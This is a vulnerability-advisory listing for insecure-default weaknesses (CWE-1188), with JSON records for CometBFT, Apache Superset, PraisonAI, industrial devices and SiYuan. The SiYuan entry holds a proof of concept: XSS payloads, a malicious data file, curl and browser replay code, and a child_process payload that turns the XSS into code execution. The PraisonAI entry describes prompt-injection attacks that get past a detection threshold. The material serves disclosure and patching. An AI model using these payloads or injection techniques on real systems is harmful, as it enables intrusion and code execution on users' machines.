CWE-1188
AllowedInitialization of a Resource with an Insecure Default
Abstraction: Base · Status: Incomplete
The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.
425 vulnerabilities reference this CWE, most recent first.
GHSA-555P-M4V6-CQXV
Vulnerability from github – Published: 2024-02-28 18:06 – Updated: 2024-02-28 18:06ASA-2024-004: Default configuration param for Evidence may limit window of validity
Component: CometBFT Criticality: Low Affected versions: All Affected users: Validators, Chain Builders + Maintainers
Summary
A default configuration in CometBFT has been found to be small for common use cases, and may prevent the slashing mechanism from working in specific cases. The default values for EvidenceParams.MaxAgeNumBlocks and EvidenceParams.MaxAgeDuration consensus parameters may not be sufficient for common use cases to provide coverage for the entire unbonding period for a chain (Staking.UnbondingTime). If the conditions of both of these parameters are exceeded, evidence may be prematurely expired and considered no longer valid, potentially allowing for unpunished Byzantine behavior if evidence is discovered outside of that window.
Next Steps for Chains and Validators
It is recommended that chain ecosystems and their maintainers set the consensus parameters EvidenceParams.MaxAgeNumBlocks and EvidenceParams.MaxAgeDuration to values appropriate for their use case:
- EvidenceParams.MaxAgeDuration (set in nanoseconds) should exceed the duration of the chain’s unbonding period
- EvidenceParams.MaxAgeNumBlocks should exceed the number of estimated blocks that will be produced by your chain throughout the unbonding period
For more information about evidence in CometBFT, please see: https://docs.cometbft.com/v0.37/spec/consensus/evidence.
For more information about the cosmos-sdk x/staking and x/slashing modules, and UnbondingTime parameter, please see: https://docs.cosmos.network/v0.50/build/modules/staking and https://docs.cosmos.network/v0.50/build/modules/slashing.
CometBFT is designed to be configurable by chains, and implements many different configuration variables and parameters to allow chain developers, validators, node operators, and chain participants to customize it best to their use case.
As more chains adopt the Interchain Stack for new and cutting-edge use cases, the CometBFT team recommends that all chains regularly evaluate their consensus parameters and configurations to ensure they meet the needs of their ecosystem as their networks mature.
A Github Security Advisory for this issue is available in the CometBFT repository. For more information about CometBFT, see https://docs.cometbft.com/.
This issue was reported to the Cosmos Bug Bounty Program on HackerOne on February 15, 2024. If you believe you have found a bug in the Interchain Stack or would like to contribute to the program by reporting a bug, please see https://hackerone.com/cosmos.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cometbft/cometbft"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.38.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-28T18:06:24Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## ASA-2024-004: Default configuration param for Evidence may limit window of validity\n\n**Component**: CometBFT\n**Criticality**: Low\n**Affected versions**: All\n**Affected users**: Validators, Chain Builders + Maintainers\n\n## Summary\n\nA default configuration in CometBFT has been found to be small for common use cases, and may prevent the slashing mechanism from working in specific cases. The default values for `EvidenceParams.MaxAgeNumBlocks` and `EvidenceParams.MaxAgeDuration` consensus parameters may not be sufficient for common use cases to provide coverage for the entire unbonding period for a chain (`Staking.UnbondingTime`). If the conditions of both of these parameters are exceeded, evidence may be prematurely expired and considered no longer valid, potentially allowing for unpunished Byzantine behavior if evidence is discovered outside of that window.\n\n## Next Steps for Chains and Validators\n\nIt is recommended that chain ecosystems and their maintainers set the consensus parameters `EvidenceParams.MaxAgeNumBlocks` and `EvidenceParams.MaxAgeDuration` to values appropriate for their use case: \n- `EvidenceParams.MaxAgeDuration` (set in nanoseconds) should exceed the duration of the chain\u2019s unbonding period\n- `EvidenceParams.MaxAgeNumBlocks` should exceed the number of estimated blocks that will be produced by your chain throughout the unbonding period\n\nFor more information about evidence in CometBFT, please see: https://docs.cometbft.com/v0.37/spec/consensus/evidence.\n\nFor more information about the cosmos-sdk `x/staking` and `x/slashing` modules, and `UnbondingTime` parameter, please see: https://docs.cosmos.network/v0.50/build/modules/staking and https://docs.cosmos.network/v0.50/build/modules/slashing.\n\nCometBFT is designed to be configurable by chains, and implements many different configuration variables and parameters to allow chain developers, validators, node operators, and chain participants to customize it best to their use case. \n\nAs more chains adopt the Interchain Stack for new and cutting-edge use cases, the CometBFT team recommends that all chains regularly evaluate their consensus parameters and configurations to ensure they meet the needs of their ecosystem as their networks mature. \n\nA Github Security Advisory for this issue is available in the [CometBFT repository](https://github.com/cometbft/cometbft/security/advisories/GHSA-555p-m4v6-cqxv). For more information about CometBFT, see https://docs.cometbft.com/. \n\nThis issue was reported to the Cosmos Bug Bounty Program on HackerOne on February 15, 2024. If you believe you have found a bug in the Interchain Stack or would like to contribute to the program by reporting a bug, please see https://hackerone.com/cosmos.\n",
"id": "GHSA-555p-m4v6-cqxv",
"modified": "2024-02-28T18:06:24Z",
"published": "2024-02-28T18:06:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cometbft/cometbft/security/advisories/GHSA-555p-m4v6-cqxv"
},
{
"type": "PACKAGE",
"url": "https://github.com/cometbft/cometbft"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "ASA-2024-004: Default configuration param for Evidence may limit window of validity"
}
GHSA-5842-R2VF-GMXV
Vulnerability from github – Published: 2026-04-20 06:31 – Updated: 2026-04-20 06:31Initialization of a resource with an insecure default vulnerability exists in SD-330AC and AMC Manager provided by silex technology, Inc. When the affected device is connected to the network with the initial (factory-default) configuration, the device can be configured with the null string password.
{
"affected": [],
"aliases": [
"CVE-2026-32965"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-20T04:16:45Z",
"severity": "HIGH"
},
"details": "Initialization of a resource with an insecure default vulnerability exists in SD-330AC and AMC Manager provided by silex technology, Inc. When the affected device is connected to the network with the initial (factory-default) configuration, the device can be configured with the null string password.",
"id": "GHSA-5842-r2vf-gmxv",
"modified": "2026-04-20T06:31:27Z",
"published": "2026-04-20T06:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32965"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/vu/JVNVU94271449"
},
{
"type": "WEB",
"url": "https://www.silex.jp/support/security-advisories/2026-001"
},
{
"type": "WEB",
"url": "https://www.silex.jp/support/security-advisories/en/2026-001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5CX2-VQ3H-X52C
Vulnerability from github – Published: 2023-04-24 18:30 – Updated: 2025-10-22 19:20Session Validation attacks in Apache Superset versions up to and including 2.0.1. Installations that have not altered the default configured SECRET_KEY according to installation instructions allow for an attacker to authenticate and access unauthorized resources. This does not affect Superset administrators who have changed the default value for SECRET_KEY config.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "apache-superset"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-27524"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-24T22:37:53Z",
"nvd_published_at": "2023-04-24T16:15:07Z",
"severity": "HIGH"
},
"details": "Session Validation attacks in Apache Superset versions up to and including 2.0.1. Installations that have not altered the default configured SECRET_KEY according to installation instructions allow for an attacker to authenticate and access unauthorized resources. This does not affect Superset administrators who have changed the default value for SECRET_KEY config.",
"id": "GHSA-5cx2-vq3h-x52c",
"modified": "2025-10-22T19:20:31Z",
"published": "2023-04-24T18:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27524"
},
{
"type": "WEB",
"url": "https://github.com/apache/superset/commit/b180319bbf08e876ea84963220ebebbfd0699e03"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/superset"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/n0ftx60sllf527j7g11kmt24wvof8xyk"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/172522/Apache-Superset-2.0.0-Authentication-Bypass.html"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/175094/Apache-Superset-2.0.0-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-27524"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2023/04/24/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2023/04/24/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L/E:H",
"type": "CVSS_V3"
}
],
"summary": "Apache superset missing check for default SECRET_KEY"
}
GHSA-5MRQ-42CR-23MG
Vulnerability from github – Published: 2025-03-12 18:32 – Updated: 2025-03-13 21:31CWE-1188: Initialization of a Resource with an Insecure Default vulnerability exists that could cause an attacker to execute unauthorized commands when a system’s default password credentials have not been changed on first use. The default username is not displayed correctly in the WebHMI interface.
{
"affected": [],
"aliases": [
"CVE-2025-1960"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-12T16:15:20Z",
"severity": "CRITICAL"
},
"details": "CWE-1188: Initialization of a Resource with an Insecure Default vulnerability exists that could cause an\nattacker to execute unauthorized commands when a system\u2019s default password credentials have not been\nchanged on first use. The default username is not displayed correctly in the WebHMI interface.",
"id": "GHSA-5mrq-42cr-23mg",
"modified": "2025-03-13T21:31:19Z",
"published": "2025-03-12T18:32:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1960"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-070-03\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2025-070-03.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5R2Q-3WG3-57M2
Vulnerability from github – Published: 2026-07-11 15:30 – Updated: 2026-07-11 15:30PraisonAI versions before 4.6.78 contain a prompt injection defense misconfiguration where the block threshold defaults to CRITICAL severity, allowing HIGH-level threats to pass through unblocked. Attackers can submit single-vector prompt injection attacks such as instruction overrides or financial manipulation that trigger HIGH severity detection but are logged without blocking, enabling system prompt extraction and unauthorized tool invocations.
{
"affected": [],
"aliases": [
"CVE-2026-61439"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-11T14:16:22Z",
"severity": "HIGH"
},
"details": "PraisonAI versions before 4.6.78 contain a prompt injection defense misconfiguration where the block threshold defaults to CRITICAL severity, allowing HIGH-level threats to pass through unblocked. Attackers can submit single-vector prompt injection attacks such as instruction overrides or financial manipulation that trigger HIGH severity detection but are logged without blocking, enabling system prompt extraction and unauthorized tool invocations.",
"id": "GHSA-5r2q-3wg3-57m2",
"modified": "2026-07-11T15:30:23Z",
"published": "2026-07-11T15:30:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fj8f-m44g-c479"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61439"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-prompt-injection-defense-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5RJ6-RCRV-5V5P
Vulnerability from github – Published: 2025-04-18 15:31 – Updated: 2025-04-18 15:31Insecure default settings have been found in recorder products provided by Yokogawa Electric Corporation. The default setting of the authentication function is disabled on the affected products. Therefore, when connected to a network with default settings, anyone can access all functions related to settings and operations. As a result, an attacker can illegally manipulate and configure important data such as measured values and settings. This issue affects GX10 / GX20 / GP10 / GP20 Paperless Recorders: R5.04.01 or earlier; GM Data Acquisition System: R5.05.01 or earlier; DX1000 / DX2000 / DX1000N Paperless Recorders: R4.21 or earlier; FX1000 Paperless Recorders: R1.31 or earlier; μR10000 / μR20000 Chart Recorders: R1.51 or earlier; MW100 Data Acquisition Units: All versions; DX1000T / DX2000T Paperless Recorders: All versions; CX1000 / CX2000 Paperless Recorders: All versions.
{
"affected": [],
"aliases": [
"CVE-2025-1863"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-18T06:15:42Z",
"severity": "CRITICAL"
},
"details": "Insecure default settings have been found in recorder products provided by Yokogawa Electric Corporation. The default setting of the authentication function is disabled on the affected products. Therefore, when connected to a network with default settings, anyone can access all functions related to settings and operations. As a result, an attacker can illegally manipulate and configure important data such as measured values and settings.\nThis issue affects GX10 / GX20 / GP10 / GP20 Paperless Recorders: R5.04.01 or earlier; GM Data Acquisition System: R5.05.01 or earlier; DX1000 / DX2000 / DX1000N Paperless Recorders: R4.21 or earlier; FX1000 Paperless Recorders: R1.31 or earlier; \u03bcR10000 / \u03bcR20000 Chart Recorders: R1.51 or earlier; MW100 Data Acquisition Units: All versions; DX1000T / DX2000T Paperless Recorders: All versions; CX1000 / CX2000 Paperless Recorders: All versions.",
"id": "GHSA-5rj6-rcrv-5v5p",
"modified": "2025-04-18T15:31:37Z",
"published": "2025-04-18T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1863"
},
{
"type": "WEB",
"url": "https://web-material3.yokogawa.com/1/36974/files/YSAR-25-0001-E.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5XFX-XJ4H-5P7R
Vulnerability from github – Published: 2026-07-10 19:34 – Updated: 2026-07-10 19:34Summary
The attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.
The kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261.
Companion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.
Details
Affected:
- HEAD
96dfe0b(v3.6.5, 2026-04-21) - Renderer sink:
app/src/protyle/render/av/blockAttr.ts:68,genAVValueHTML(). The text, url, phone, and mAsset branches interpolate cell content raw. - Callsites piping
genAVValueHTMLintoinnerHTML:select.ts:124,229,346,cell.ts:791,913,1198,col.ts:455,656,1256,filter.ts:199,471,609,702,groups.ts:56,289,328,378, andblockAttr.ts:212. - Source: cell values returned by
/api/av/getAttributeView. Backing store:data/storage/av/<avID>.json. - Write path:
kernel/model/attribute_view.go,updateAttributeViewValueand(*Transaction).doUpdateAttrViewCell. No call tohtml.EscapeAttrVal,html.EscapeString, orutil.EscapeHTMLanywhere in the file. - Electron config:
nodeIntegration:true,contextIsolation:false,webSecurity:falseon everyBrowserWindowinapp/electron/main.js:307,408-411,1107-1110,1150-1153,1322.
The sink
app/src/protyle/render/av/blockAttr.ts:68, with the unsafe branches highlighted:
export const genAVValueHTML = (value: IAVCellValue) => {
let html = "";
switch (value.type) {
case "block":
// escaped via escapeAttr — safe
html = `<input ... value="${escapeAttr(value.block.content)}" ...>`;
break;
case "text":
// value.text.content goes raw into a <textarea>
html = `<textarea ... rows="${(value.text?.content || "").split("\n").length}" ...>${value.text?.content || ""}</textarea>`;
break;
case "url":
// value.url.content goes raw into value="..." and href="..."
html = `<input value="${value.url.content}" ...>
<a ${value.url.content ? `href="${value.url.content}"` : ""} ...>`;
break;
case "phone":
// same pattern as url
html = `<input value="${value.phone.content}" ...>
<a ${value.phone.content ? `href="tel:${value.phone.content}"` : ""} ...>`;
break;
case "mAsset":
value.mAsset?.forEach(item => {
if (item.type === "image") {
// item.content raw inside aria-label
html += `<img ... aria-label="${item.content}" src="${getCompressURL(item.content)}">`;
} else {
// attributes escaped, but ${item.name || item.content} text-node is raw
html += `<span ... aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}" data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>`;
}
});
break;
// other cases use escapeHtml / escapeAttr correctly
}
return html;
};
escapeHtml and escapeAttr already exist and are used in the block, select, and mSelect cases. They just aren't applied in the four branches above.
Callers assign the result to innerHTML. Example, app/src/protyle/render/av/select.ts:124:
if (item.classList.contains("custom-attr__avvalue")) {
item.innerHTML = genAVValueHTML(cellValue);
}
The write path
A grep for any HTML-escape call in kernel/model/attribute_view.go returns nothing:
grep -n 'html.Escape\|EscapeHTML\|EscapeString' kernel/model/attribute_view.go
# (no output)
For comparison, the block-IAL write path at kernel/model/blockial.go:261 applies html.EscapeAttrVal(value). The AV cell write path is missing the equivalent.
Storage and sync
AV files live at data/storage/av/<avID>.json and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.
Suggested fix
The renderer-side fix is the more important one. escapeHtml and escapeAttr already exist in blockAttr.ts and already protect the block, select, and mSelect branches. Extend them to the rest of genAVValueHTML:
case "text":
html = `<textarea ...>${escapeHtml(value.text?.content || "")}</textarea>`;
break;
case "url":
html = `<input value="${escapeAttr(value.url.content)}" ...>
<a ${value.url.content ? `href="${escapeAttr(value.url.content)}"` : ""} ...>`;
break;
case "phone":
html = `<input value="${escapeAttr(value.phone.content)}" ...>
<a ${value.phone.content ? `href="tel:${escapeAttr(value.phone.content)}"` : ""} ...>`;
break;
case "mAsset":
// escape item.name and item.content in the text-node positions, not just inside attributes
The mAsset image branch also interpolates item.content into the src attribute via getCompressURL. Worth rejecting javascript: and data: schemes for asset URLs while you're in there.
Backend side, defense in depth: in kernel/model/attribute_view.go:updateAttributeViewValue, call html.EscapeAttrVal(content) on the string-content cell types before persisting. This mirrors the existing protection in kernel/model/blockial.go:261. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces.
PoC
Stand up SiYuan and drop a malicious AV file at workspace/data/storage/av/poc.json:
docker run -d --name siyuan-poc \
-v ./workspace:/siyuan/workspace \
-p 16806:6806 \
b3log/siyuan:latest \
--workspace=/siyuan/workspace --accessAuthCode=hunter2
Minimum viable AV JSON:
{
"spec": 2,
"id": "20260519999999-poctest",
"name": "PocAV",
"keyValues": [
{
"key": {"id": "...keyblok", "name": "Block", "type": "block"},
"values": [{
"id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk",
"type": "block", "isDetached": true,
"block": {"id": "...row1blk", "content": "Row 1"}
}]
},
{
"key": {"id": "...keytext", "name": "TextField", "type": "text"},
"values": [{
"id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk",
"type": "text",
"text": {"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"}
}]
},
{
"key": {"id": "...keyurl0", "name": "UrlField", "type": "url"},
"values": [{
"id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk",
"type": "url",
"url": {"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"}
}]
}
]
}
In a real attack the file gets there via sync, not by hand.
Confirm the API returns the cell content raw:
TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)
curl -s -X POST http://localhost:16806/api/av/getAttributeView \
-H "Authorization: Token $TOKEN" \
-d '{"id":"20260519999999-poctest"}' \
| python3 -m json.tool | grep -E '"content":'
Output from my run on 2026-05-19:
"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"
"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"
</textarea> and "> come back literal, no escape.
In the Siyuan renderer's DevTools:
const res = await fetch('/api/av/getAttributeView', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({id: '20260519999999-poctest'})
});
const json = await res.json();
let textValue = null, urlValue = null;
for (const kv of json.data.av.keyValues) {
for (const v of kv.values || []) {
if (v.type === 'text' && v.text) textValue = v;
if (v.type === 'url' && v.url) urlValue = v;
}
}
// Replay the actual genAVValueHTML branches verbatim.
const textHTML = `<textarea rows="${(textValue.text?.content||'').split('\n').length}">${textValue.text?.content || ''}</textarea>`;
const urlHTML = `<input value="${urlValue.url.content}">`;
const div = document.createElement('div');
div.innerHTML = textHTML + urlHTML;
await new Promise(r => setTimeout(r, 250));
console.log({
textMarkerFired: window.__siyuan_av_xss === 'FIRED',
urlMarkerFired: window.__siyuan_av_url_xss === 'FIRED',
imgsInDiv: div.querySelectorAll('img').length,
title: document.title
});
Output from my run:
{
"textMarkerFired": true,
"urlMarkerFired": true,
"imgsInDiv": 3,
"title": "AV_TEXT_XSS_OK"
}
</textarea> and "> both broke out, the smuggled <img> elements ran their onerror handlers, the marker variables got set, document.title got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.
To turn it into RCE on Electron, swap the marker payload for:
<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">
require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.
Impact
Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.
The payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.
Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/av/updateAttrViewCell. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260628153353-2d5d72223df4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54158"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:34:53Z",
"nvd_published_at": "2026-06-24T22:16:48Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe attribute-view (database) cell renderer `genAVValueHTML` interpolates cell content raw in four of its branches: `text`, `url`, `phone`, and `mAsset`. A cell value like `\u003c/textarea\u003e\u003cimg src=x onerror=\"...\"\u003e` or `\"\u003e\u003cimg src=x onerror=\"...\"\u003e` breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with `nodeIntegration:true`, so the XSS chains to host RCE via `require(\u0027child_process\u0027)`. AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.\n\nThe kernel doesn\u0027t escape on the way in either, so the malicious cell persists byte-for-byte. There\u0027s no equivalent of the `html.EscapeAttrVal` call that protects block IAL attributes at `kernel/model/blockial.go:261`.\n\nCompanion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.\n\n### Details\n\nAffected:\n\n- HEAD `96dfe0b` (v3.6.5, 2026-04-21)\n- Renderer sink: `app/src/protyle/render/av/blockAttr.ts:68`, `genAVValueHTML()`. The text, url, phone, and mAsset branches interpolate cell content raw.\n- Callsites piping `genAVValueHTML` into `innerHTML`: `select.ts:124,229,346`, `cell.ts:791,913,1198`, `col.ts:455,656,1256`, `filter.ts:199,471,609,702`, `groups.ts:56,289,328,378`, and `blockAttr.ts:212`.\n- Source: cell values returned by `/api/av/getAttributeView`. Backing store: `data/storage/av/\u003cavID\u003e.json`.\n- Write path: `kernel/model/attribute_view.go`, `updateAttributeViewValue` and `(*Transaction).doUpdateAttrViewCell`. No call to `html.EscapeAttrVal`, `html.EscapeString`, or `util.EscapeHTML` anywhere in the file.\n- Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`.\n\n#### The sink\n\n`app/src/protyle/render/av/blockAttr.ts:68`, with the unsafe branches highlighted:\n\n```ts\nexport const genAVValueHTML = (value: IAVCellValue) =\u003e {\n let html = \"\";\n switch (value.type) {\n case \"block\":\n // escaped via escapeAttr \u2014 safe\n html = `\u003cinput ... value=\"${escapeAttr(value.block.content)}\" ...\u003e`;\n break;\n case \"text\":\n // value.text.content goes raw into a \u003ctextarea\u003e\n html = `\u003ctextarea ... rows=\"${(value.text?.content || \"\").split(\"\\n\").length}\" ...\u003e${value.text?.content || \"\"}\u003c/textarea\u003e`;\n break;\n case \"url\":\n // value.url.content goes raw into value=\"...\" and href=\"...\"\n html = `\u003cinput value=\"${value.url.content}\" ...\u003e\n \u003ca ${value.url.content ? `href=\"${value.url.content}\"` : \"\"} ...\u003e`;\n break;\n case \"phone\":\n // same pattern as url\n html = `\u003cinput value=\"${value.phone.content}\" ...\u003e\n \u003ca ${value.phone.content ? `href=\"tel:${value.phone.content}\"` : \"\"} ...\u003e`;\n break;\n case \"mAsset\":\n value.mAsset?.forEach(item =\u003e {\n if (item.type === \"image\") {\n // item.content raw inside aria-label\n html += `\u003cimg ... aria-label=\"${item.content}\" src=\"${getCompressURL(item.content)}\"\u003e`;\n } else {\n // attributes escaped, but ${item.name || item.content} text-node is raw\n html += `\u003cspan ... aria-label=\"${escapeAttr(item.content)}\" data-name=\"${escapeAttr(item.name)}\" data-url=\"${escapeAttr(item.content)}\"\u003e${item.name || item.content}\u003c/span\u003e`;\n }\n });\n break;\n // other cases use escapeHtml / escapeAttr correctly\n }\n return html;\n};\n```\n\n`escapeHtml` and `escapeAttr` already exist and are used in the `block`, `select`, and `mSelect` cases. They just aren\u0027t applied in the four branches above.\n\nCallers assign the result to `innerHTML`. Example, `app/src/protyle/render/av/select.ts:124`:\n\n```ts\nif (item.classList.contains(\"custom-attr__avvalue\")) {\n item.innerHTML = genAVValueHTML(cellValue);\n}\n```\n\n#### The write path\n\nA grep for any HTML-escape call in `kernel/model/attribute_view.go` returns nothing:\n\n```\ngrep -n \u0027html.Escape\\|EscapeHTML\\|EscapeString\u0027 kernel/model/attribute_view.go\n# (no output)\n```\n\nFor comparison, the block-IAL write path at `kernel/model/blockial.go:261` applies `html.EscapeAttrVal(value)`. The AV cell write path is missing the equivalent.\n\n#### Storage and sync\n\nAV files live at `data/storage/av/\u003cavID\u003e.json` and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.\n\n#### Suggested fix\n\nThe renderer-side fix is the more important one. `escapeHtml` and `escapeAttr` already exist in `blockAttr.ts` and already protect the `block`, `select`, and `mSelect` branches. Extend them to the rest of `genAVValueHTML`:\n\n```ts\ncase \"text\":\n html = `\u003ctextarea ...\u003e${escapeHtml(value.text?.content || \"\")}\u003c/textarea\u003e`;\n break;\ncase \"url\":\n html = `\u003cinput value=\"${escapeAttr(value.url.content)}\" ...\u003e\n \u003ca ${value.url.content ? `href=\"${escapeAttr(value.url.content)}\"` : \"\"} ...\u003e`;\n break;\ncase \"phone\":\n html = `\u003cinput value=\"${escapeAttr(value.phone.content)}\" ...\u003e\n \u003ca ${value.phone.content ? `href=\"tel:${escapeAttr(value.phone.content)}\"` : \"\"} ...\u003e`;\n break;\ncase \"mAsset\":\n // escape item.name and item.content in the text-node positions, not just inside attributes\n```\n\nThe `mAsset` image branch also interpolates `item.content` into the `src` attribute via `getCompressURL`. Worth rejecting `javascript:` and `data:` schemes for asset URLs while you\u0027re in there.\n\nBackend side, defense in depth: in `kernel/model/attribute_view.go:updateAttributeViewValue`, call `html.EscapeAttrVal(content)` on the string-content cell types before persisting. This mirrors the existing protection in `kernel/model/blockial.go:261`. The renderer fix matters more because the backend fix doesn\u0027t retroactively neutralize payloads already sitting in synced 